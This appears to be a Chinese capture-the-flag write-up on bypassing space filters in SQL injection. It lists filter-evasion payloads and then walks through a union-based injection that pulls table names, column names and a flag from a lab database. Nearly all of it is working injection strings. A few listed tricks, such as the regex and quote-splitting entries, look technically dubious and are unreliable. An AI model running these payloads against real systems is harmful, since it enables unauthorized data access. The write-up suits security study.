过滤空格
常见过滤方法
注释过滤 /**/、/*!*/、//、#、--
?id=-1/**/union/**/select/**/1,2
括号过滤 ()
?id=-1(union)select(1,2)
符号过滤 %00、%09、%20、%a0 %0a、%0b、%0c、%0d
?id=-1%a0union%a0select%a01,2
引号过滤 ' 、 "
?id=-1 union select '1', '2'
大小写过滤 大小写
?id=-1/**/UnIoN/**/SeLeCt/**/1, 2
双关键字绕过 '+'
?id=-1 uni'+'on sel'+'ect 1,2#
正则表达式绕过 \s、\s*
?id=-1 union\s+select\s+1\s*,\s*2
\s+ 表示匹配一个或多个空白字符,\s* 表示匹配零个或多个空白字符。
1.查看注入点,判断为数字型注入
2.查询列数,有空格时报错
通过注释/**/取代空格
?id=1/**/order/**/by/**/2
得到列数为2列
3.查询回显位置
union联合注入,查看未发现的数据
?id=-1(0)可以查看到不存在数据库中的数据
?id=-1/**/union/**/select/**/1,2
4.爆数据库
?id=-1/**/union/**/select/**/1,database()
5.爆数据表
?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
6.爆字段
?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='cjlrfnakht'
7.爆出flag
?id=-1/**/union/**/select/**/1,group_concat(bhzmjkjoza)/**/from/**/sqli.cjlrfnakht